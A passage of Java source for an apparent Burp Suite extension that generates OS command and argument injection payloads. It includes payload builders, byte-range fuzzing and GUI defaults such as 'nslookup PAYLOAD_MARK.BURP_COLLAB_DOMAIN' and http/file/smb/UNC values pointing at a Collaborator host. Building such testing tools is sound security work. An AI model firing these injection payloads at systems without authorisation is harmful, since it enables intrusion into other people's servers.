private String getMarkedVersion(String payload)
{
cnt++;
if(this.payloadMarking)
{
String replacement=cnt.toString();
if(payload.contains("$IFS$9")) // if dealing with $IFS$9
{
replacement="a"+replacement;
}
payload=payload.replace("PAYLOAD_MARK",replacement);
}
else
{
payload=payload.replace("PAYLOAD_MARK","");
}
return payload;
}
private String byteToString(byte inputByte)
{
byte[] t = new byte[1];
t[0]=inputByte;
return callbacks.getHelpers().bytesToString(t);
}
private boolean arraySearch(String needle, String[] hayStack)
{
for(int i=0;i input)
{
String ret[];
ret = new String[input.size()];
for(int i=0;i-1;i--)
{
if(this.tab.shellingPanel.collabSessions.get(i).collabLoc==this.loc)
{
this.tab.shellingPanel.collabSessions.get(i).setShellingsRaw(this.shellings); // save the payloads in the session tracker
break;
}
}
}
// while this check is done always (we might be in manual mode but still receive asynchronous feedback from the auto mode)
this.tab.shellingPanel.checkCollabInteractions(false);
return false;
}
public String getPayload(int index)
{
if(index feedback channel missmatch!", JOptionPane.INFORMATION_MESSAGE);
}
}
//this.shellings.get(this.payloadIndex).replace("BURP_COLLAB_DOMAIN", loc);
}
this.shellings.set(this.payloadIndex,p); // update the payload with the result of the substitution
this.payloadIndex++;
return callbacks.getHelpers().stringToBytes(p);
}
return new byte[0]; // if no more valid payloads are found (Smart 400 avoidance), we simply return this byte[0] (we have to, as the DoScannerCheck class was already told that we have more payloads)
}
return null; // should never happen (unreachable statement, but required by Java)
}
@Override
public void reset()
{
payloadIndex = 0;
}
}
================================================
FILE: Java/src/uk/co/pentest/SHELLING/IntruderPayloadGeneratorByte.java
================================================
package uk.co.pentest.SHELLING;
import burp.BurpExtender;
import burp.IBurpExtenderCallbacks;
import burp.IIntruderPayloadGenerator;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.ListModel;
/**
*
* @author ewilded
*/
public final class IntruderPayloadGeneratorByte implements IIntruderPayloadGenerator
{
int payloadIndex; // counter for the payload mark
byte[] bytes_raw; // byte payloads
ArrayList bytes_out; //
IBurpExtenderCallbacks callbacks = BurpExtender.getBurpCallbacks();
ShellingTab tab;
public IntruderPayloadGeneratorByte(ShellingTab tab)
{
this.tab=tab;
int byteIndex=0;
this.bytes_out=new ArrayList<>();
/*
"non-alpha";
"alpha";
"non-alpha-print";
"non-alpha-non-print";
"all";
*/
// this.bytes_raw=new ArrayList<>();
//
if("non-alpha".equals(this.tab.shellingPanel.byteGeneratorRange))
{
this.bytes_raw = new byte[194];
// 0-47 48
// 58-64 7
// 91-96 6
// 123-255 133
// 194 all together
for(int i=0;i<48;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=58;i<65;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=91;i<97;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=123;i<256;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
}
if("alpha".equals(this.tab.shellingPanel.byteGeneratorRange))
{
// 48-57 -> 10
// 65-90 -> 26
// 97-122 -> 26
// 62 altogether
this.bytes_raw = new byte[62];
for(int i=48;i<58;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=65;i<91;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=97;i<123;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
}
if("non-alpha-print".equals(this.tab.shellingPanel.byteGeneratorRange))
{
// 33-46 -> 14
// 58-64 -> 7
// 91-96 -> 6
// 123-126 -> 4
// 31 all together
this.bytes_raw = new byte[31];
for(int i=33;i<47;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=58;i<65;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=91;i<97;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=123;i<127;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
}
if("non-alpha-non-print-low".equals(this.tab.shellingPanel.byteGeneratorRange))
{
// 0-31 -> 32
// 127-128 -> 1
// alltogether 33
this.bytes_raw = new byte[33];
for(int i=0;i<32;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=127;i<128;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
}
if("non-alpha-non-print".equals(this.tab.shellingPanel.byteGeneratorRange))
{
// 0-31 -> 32
// 127-255 -> 129
// alltogether 161
this.bytes_raw = new byte[161];
for(int i=0;i<32;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
for(int i=127;i<256;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
}
if("all".equals(this.tab.shellingPanel.byteGeneratorRange))
{
// 0-255 -> 256
this.bytes_raw = new byte[256];
for(int i=0;i<256;i++)
{
bytes_raw[byteIndex]=(byte)i;
byteIndex++;
}
}
// now, check what the encodings are - and fill the bytes_out string array accordingly
ListModel encodeModel = this.tab.shellingPanel.encodeList.getModel();
for(int j=0;j
================================================
FILE: Java/src/uk/co/pentest/SHELLING/ShellingPanel2.java
================================================
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package uk.co.pentest.SHELLING;
import burp.BinaryPayloadIssue;
import burp.IBurpCollaboratorClientContext;
import burp.IBurpCollaboratorInteraction;
import burp.IScanIssue;
import java.awt.Toolkit;
import java.awt.datatransfer.Clipboard;
import java.awt.datatransfer.StringSelection;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import javax.swing.JFileChooser;
import javax.swing.JList;
import javax.swing.JOptionPane;
import javax.swing.ListModel;
/**
*
* @author julian
*/
public class ShellingPanel2 extends javax.swing.JPanel {
protected String byteGeneratorRange;
public String mode = "auto";
public String targetOS = "all";
public String feedbackChannel = "DNS"; // "DNS" is the other option atm (also planned: response (echo) and filesystem
public boolean scannerChecks = true; // whether to automatically extend the active scanning
protected boolean verboseOutput = false;
protected IntruderPayloadGenerator curr_generator;
protected ArrayList payloads;
//public IntruderPayloadGenerator lastGenerator;
// these need to be public
public static ArrayList collabSessions; //
public static IBurpCollaboratorClientContext collabClient; //
protected boolean warningDisplayed=false;
private static long lastCollabSessionCheck=0;
private static int collabSessionCheckThreshold=30; // what is the maximum frequency of checkCollabInteractions in seconds
protected String editorFormat="HEX";
// this thing can poll the collaborator API multiple times once many scan threads kick in
// we don't need this check intensivity for asynchronous interactions
// by the way, maybe this will help us to get rid of the DNS issues being split between sets of payloads (when multiple payloads were successful).
// We want to maintain this structure between the scans/intruder runs. The intention is as follows:
// 1. do not miss asynchronous injections, regardless to them being hit by scanner or intruder!
// 2. thus, we can generate a new collabLoc for every single attack (active scan + intruder check + export - because why not).
//
// The collabLoc will be used to match the collabSession, which in turn will contain more info about the attack (to reconstruct the valid request - we are definitely not going to store all the requests/responses in the memory for the puroose of tracking):
// it would be, by the way, cool if Collaborator provided a nice way to use subdomains through collaborator API to track payloads
// otherwise in order to identify a payload we have to assign a separate collabLoc per each one of them, which in our case might be way too many...?
// I wonder how exactly Burp Scanner does it (match the right request) when using collaborator - cause it's capable of detecting asynchronous stuff,
// reverse lookups issued after hours pop up as External DNS interactions/OS command injections ;)
// Per every single attack (Intruder attack/export/Active scan) - if auto mode is enabled - a new collabSession will be created and held until the plugin is unloaded:
// timestamp of start
// type of session (intruder/scanner/export)
// configuration (so it should be easier to make sure we know where PAYLOAD_MARK points at)?
// collabLoc - the ID generated by the Collaborator Server (the subdomain in burpcollaborator.net)
// IHttpRequestResponse req - this will either contain the baseRequest provided to doActiveScan - or IIntruderAttack.getTemplateRequest() in case of Intruder, will be null for exports
// what about including the shellings_raw payload set to it? this would make the payload matching accurate and should not be too mem-greey with reasonable configurations :D
PrintWriter stdout;
/**
* Creates new form ShellingPanel2
*/
public ShellingPanel2()
{
// activate the collaborator client
this.flushThetracker();
// set extension output
stdout = new PrintWriter(SHELLING.callbacks.getStdout(), true);
// init the UI
initComponents();
// enable "auto" mode for Intruder and export
this.enableAuto();
}
public int getDelay()
{
return Integer.parseInt(this.delayTimeSpinner.getValue().toString());
}
protected void appendListData(JList list, String[] items)
{
ArrayList tmp = new ArrayList();
for (int i=0; i < list.getModel().getSize(); i++) {
String elem = (String) list.getModel().getElementAt(i);
tmp.add(elem);
}
for(String item: items)
{
if(!tmp.contains(item)) tmp.add(item);
}
list.setListData(tmp.toArray());
}
private void removeFromListData(JList list, String item)
{
ArrayList tmp = new ArrayList();
for (int i=0; i < list.getModel().getSize(); i++) {
String elem = (String) list.getModel().getElementAt(i);
if(!elem.equals(item)) tmp.add(elem);
}
list.setListData(tmp.toArray());
}
private void initiateEncodings() // same as clear, no encoding by default
{
String empty[] = {"None"};
encodeList.setListData(empty);
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// //GEN-BEGIN:initComponents
private void initComponents() {
buttonGroup1 = new javax.swing.ButtonGroup();
buttonGroup2 = new javax.swing.ButtonGroup();
jCheckBox5 = new javax.swing.JCheckBox();
jTabbedPane1 = new javax.swing.JTabbedPane();
jPanel1 = new javax.swing.JPanel();
jLabel3 = new javax.swing.JLabel();
targetOSCombo = new javax.swing.JComboBox<>();
jLabel4 = new javax.swing.JLabel();
argumentField = new javax.swing.JTextField();
jLabel5 = new javax.swing.JLabel();
commandField = new javax.swing.JTextField();
payloadMarkingBox = new javax.swing.JCheckBox();
scannerChecksBox = new javax.swing.JCheckBox();
feedbackChannelCombo = new javax.swing.JComboBox<>();
jLabel7 = new javax.swing.JLabel();
delayTimeSpinner = new javax.swing.JSpinner();
jLabel10 = new javax.swing.JLabel();
manualModeCheckBox = new javax.swing.JCheckBox();
stopAllRunningScans = new javax.swing.JCheckBox();
panel1 = new java.awt.Panel();
doCommandInjection = new javax.swing.JCheckBox();
advancedPayloadLabel = new javax.swing.JLabel();
basePayloadCheckBox = new javax.swing.JCheckBox();
secondBasePayloadCheckBox = new javax.swing.JCheckBox();
thirdBasePayloadCheckBox = new javax.swing.JCheckBox();
fourthBasePayloadCheckBox = new javax.swing.JCheckBox();
fifthBasePayloadCheckBox = new javax.swing.JCheckBox();
seventhBasePayloadCheckBox = new javax.swing.JCheckBox();
sixthBasePayloadCheckBox = new javax.swing.JCheckBox();
eightBasePayloadCheckBox = new javax.swing.JCheckBox();
jPanel5 = new javax.swing.JPanel();
argInjectionCheckBox = new javax.swing.JCheckBox();
fixedArguments = new javax.swing.JCheckBox();
bruteArgInjections = new javax.swing.JCheckBox();
injectHTTPCheckBox = new javax.swing.JCheckBox();
injectFileCheckBox = new javax.swing.JCheckBox();
uncPathsCheckBox = new javax.swing.JCheckBox();
injectSmbCheckBox = new javax.swing.JCheckBox();
injectUncCheckBox = new javax.swing.JCheckBox();
jLabel6 = new javax.swing.JLabel();
injectAdditionalArguments = new javax.swing.JCheckBox();
jLabel11 = new javax.swing.JLabel();
defaultArgBruteRange = new javax.swing.JRadioButton();
customArgBruteRange = new javax.swing.JRadioButton();
customCharacterRange = new javax.swing.JTextField();
jPanel6 = new javax.swing.JPanel();
doTerminalInjection = new javax.swing.JCheckBox();
jPanel2 = new javax.swing.JPanel();
jLabel9 = new javax.swing.JLabel();
jScrollPane1 = new javax.swing.JScrollPane();
encodeList = new javax.swing.JList<>();
encodingsToUse = new javax.swing.JComboBox<>();
removeEncoding = new javax.swing.JButton();
jButton4 = new javax.swing.JButton();
useTerminatorsCheckBox = new javax.swing.JCheckBox();
includeLiteralWhites = new javax.swing.JCheckBox();
includeThePooComboBox = new javax.swing.JCheckBox();
osSpecificTerminators = new javax.swing.JCheckBox();
jScrollPane3 = new javax.swing.JScrollPane();
terminatorList = new javax.swing.JList<>();
removeTerminatorButton = new javax.swing.JButton();
addTerminatorButton = new javax.swing.JButton();
addTerminatorField = new javax.swing.JTextField();
jLabel13 = new javax.swing.JLabel();
terminatorASCIIFormat = new javax.swing.JRadioButton();
terminatorHexFormat = new javax.swing.JRadioButton();
jLabel8 = new javax.swing.JLabel();
useNullByte = new javax.swing.JCheckBox();
smart400Avoidance = new javax.swing.JCheckBox();
jPanel3 = new javax.swing.JPanel();
jLabel2 = new javax.swing.JLabel();
saveToFileButton = new javax.swing.JButton();
saveToClipBoardButton = new javax.swing.JButton();
advancedPanel = new javax.swing.JPanel();
verboseOutputCheckBox = new javax.swing.JCheckBox();
checkForInteractions = new javax.swing.JButton();
flushTheTrackerButton = new javax.swing.JButton();
jPanel4 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
byteGeneratorRangeCombo = new javax.swing.JComboBox<>();
jCheckBox5.setText("jCheckBox5");
jLabel3.setText("Command to use");
targetOSCombo.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "All (default)", "Windows", "Nix" }));
targetOSCombo.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
targetOSComboActionPerformed(evt);
}
});
jLabel4.setText("Target OS");
argumentField.setText("PAYLOAD_MARK.BURP_COLLAB_DOMAIN");
argumentField.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyReleased(java.awt.event.KeyEvent evt) {
ShellingPanel2.this.keyReleased(evt);
}
});
jLabel5.setText("Argument");
commandField.setText("nslookup");
payloadMarkingBox.setSelected(true);
payloadMarkingBox.setText("Payload marking");
payloadMarkingBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
payloadMarkingBoxActionPerformed(evt);
}
});
scannerChecksBox.setSelected(true);
scannerChecksBox.setText("Active scanning");
scannerChecksBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
scannerChecksBoxActionPerformed(evt);
}
});
feedbackChannelCombo.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "DNS (collaborator)", "Delay (sleep)" }));
feedbackChannelCombo.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
feedbackChannelComboActionPerformed(evt);
}
});
jLabel7.setText("Feedback channel");
delayTimeSpinner.setModel(new javax.swing.SpinnerNumberModel(25, 10, null, 1));
delayTimeSpinner.setEnabled(false);
delayTimeSpinner.setValue(25);
jLabel10.setText("Delay [s]");
manualModeCheckBox.setToolTipText("");
manualModeCheckBox.setLabel("Manual (non-auto) mode for Intruder & export (please refer the documentation for details)");
manualModeCheckBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
manualModeCheckBoxActionPerformed(evt);
}
});
stopAllRunningScans.setText("Stop all running scans");
stopAllRunningScans.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
stopAllRunningScansActionPerformed(evt);
}
});
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(manualModeCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jLabel3, javax.swing.GroupLayout.DEFAULT_SIZE, 235, Short.MAX_VALUE)
.addComponent(jLabel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 249, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(targetOSCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 292, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(commandField, javax.swing.GroupLayout.PREFERRED_SIZE, 297, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(argumentField, javax.swing.GroupLayout.PREFERRED_SIZE, 564, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jLabel7, javax.swing.GroupLayout.PREFERRED_SIZE, 374, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(32, 32, 32)
.addComponent(feedbackChannelCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 401, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGap(28, 28, 28)
.addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, 138, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(delayTimeSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, 84, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 747, Short.MAX_VALUE))
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(payloadMarkingBox, javax.swing.GroupLayout.PREFERRED_SIZE, 307, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(107, 107, 107)
.addComponent(scannerChecksBox, javax.swing.GroupLayout.PREFERRED_SIZE, 330, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(stopAllRunningScans, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)))
.addContainerGap())
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(9, 9, 9)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(targetOSCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel3, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(commandField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(argumentField)
.addComponent(jLabel5, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGap(18, 18, 18)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(payloadMarkingBox)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(scannerChecksBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(stopAllRunningScans)))
.addGap(8, 8, 8)
.addComponent(manualModeCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel10, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(delayTimeSpinner, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
.addComponent(jLabel7, javax.swing.GroupLayout.Alignment.LEADING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(feedbackChannelCombo, javax.swing.GroupLayout.Alignment.LEADING)))
.addGap(0, 505, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Global settings", jPanel1);
doCommandInjection.setSelected(true);
doCommandInjection.setText("Test for command injection");
doCommandInjection.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
doCommandInjectionActionPerformed(evt);
}
});
advancedPayloadLabel.setText("Use the following syntaxes (see the manual for details on base syntaxes)");
basePayloadCheckBox.setSelected(true);
basePayloadCheckBox.setText("COMMAND (this is the base payload (don't uncheck unless you know what you're doing)");
secondBasePayloadCheckBox.setText("COMMAND + COMMAND_TERMINATOR");
thirdBasePayloadCheckBox.setText("COMMAND_SEPARATOR + COMMAND");
fourthBasePayloadCheckBox.setText("COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR");
fifthBasePayloadCheckBox.setText("COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR + SUFFIX ");
seventhBasePayloadCheckBox.setSelected(true);
seventhBasePayloadCheckBox.setText("PREFIX + COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR + SUFFIX");
sixthBasePayloadCheckBox.setText("PREFIX + COMMAND_SEPARATOR + COMMAND + COMMAND_SEPARATOR");
eightBasePayloadCheckBox.setText("PREFIX + COMMAND + SUFFIX");
javax.swing.GroupLayout panel1Layout = new javax.swing.GroupLayout(panel1);
panel1.setLayout(panel1Layout);
panel1Layout.setHorizontalGroup(
panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panel1Layout.createSequentialGroup()
.addContainerGap()
.addGroup(panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panel1Layout.createSequentialGroup()
.addGroup(panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(basePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, 1040, Short.MAX_VALUE)
.addComponent(advancedPayloadLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(doCommandInjection, javax.swing.GroupLayout.DEFAULT_SIZE, 1031, Short.MAX_VALUE)
.addComponent(secondBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(thirdBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, 1040, Short.MAX_VALUE)
.addComponent(fourthBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(fifthBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGap(0, 794, Short.MAX_VALUE))
.addComponent(seventhBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(sixthBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(eightBasePayloadCheckBox, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addContainerGap())
);
panel1Layout.setVerticalGroup(
panel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(panel1Layout.createSequentialGroup()
.addContainerGap()
.addComponent(doCommandInjection)
.addGap(18, 18, 18)
.addComponent(advancedPayloadLabel, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(basePayloadCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(secondBasePayloadCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(thirdBasePayloadCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(fourthBasePayloadCheckBox, javax.swing.GroupLayout.PREFERRED_SIZE, 25, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(fifthBasePayloadCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(sixthBasePayloadCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(seventhBasePayloadCheckBox)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(eightBasePayloadCheckBox)
.addContainerGap(417, Short.MAX_VALUE))
);
jTabbedPane1.addTab("Command injection", panel1);
argInjectionCheckBox.setText("Test for argument injection");
argInjectionCheckBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
argInjectionCheckBoxActionPerformed(evt);
}
});
fixedArguments.setText("Check known injections");
fixedArguments.setEnabled(false);
fixedArguments.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
fixedArgumentsActionPerformed(evt);
}
});
bruteArgInjections.setSelected(true);
bruteArgInjections.setText("Brute force argument flags");
bruteArgInjections.setEnabled(false);
bruteArgInjections.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
bruteArgInjectionsActionPerformed(evt);
}
});
injectHTTPCheckBox.setSelected(true);
injectHTTPCheckBox.setText("http://BURP_COLLAB_DOMAIN/a");
injectHTTPCheckBox.setEnabled(false);
injectHTTPCheckBox.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
injectHTTPCheckBoxActionPerformed(evt);
}
});
injectFileCheckBox.setSelected(true);
injectFileCheckBox.setText("file://BURP_COLLAB_DOMAIN/a");
injectFileCheckBox.setEnabled(false);
uncPathsCheckBox.setSelected(true);
uncPathsCheckBox.setText(">\\\\BURP_COLLAB_DOMAIN\\o");
uncPathsCheckBox.setEnabled(false);
injectSmbCheckBox.setText("smb://BURP_COLLAB_DOMAIN/a");
injectSmbCheckBox.setEnabled(false);
injectUncCheckBox.setSelected(true);
injectUncCheckBox.setText("\\\\BURP_COLLAB_DOMAIN\\a");
injectUncCheckBox.setToolTipText("UNC paths");
injectUncCheckBox.setEnabled(false);
jLabel6.setText("Use the following argument values");
injectAdditionalArguments.setSelected(true);
injectAdditionalArguments.setText("Inject additional arguments directly (without flags)");
injectAdditionalArguments.setEnabled(false);
injectAdditionalArguments.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
injectAdditionalArgumentsActionPerformed(evt);
}
});
jLabel11.setText("win-specific");
defaultArgBruteRange.setSelected(true);
defaultArgBruteRange.setText("Default range (a-zA-Z, LOTS of payloads)");
defaultArgBruteRange.setEnabled(false);
defaultArgBruteRange.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
defaultArgBruteRangeActionPerformed(evt);
}
});
customArgBruteRange.setText("Custom character range:");
customArgBruteRange.setEnabled(false);
customArgBruteRange.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
customArgBruteRangeActionPerformed(evt);
}
});
customCharacterRange.setText("abcdefghijklmnroqprstuvxyzACDEEFGHIJCKLMNROQPRSTUVXYZ");
customCharacterRange.setEnabled(false);
javax.swing.GroupLayout jPanel5Layout = new javax.swing.GroupLayout(jPanel5);
jPanel5.setLayout(jPanel5Layout);
jPanel5Layout.setHorizontalGroup(
jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel5Layout.createSequentialGroup()
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel5Layout.createSequentialGroup()
.addGroup(jPanel5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel5Layout.createSequentialGroup()
.addContainerGap()
.addComponent(fixedArguments, javax.swing.GroupLayout.PREFERRED_SIZE, 463, javax.swing.GroupLayout.PREFERRED_SIZE))
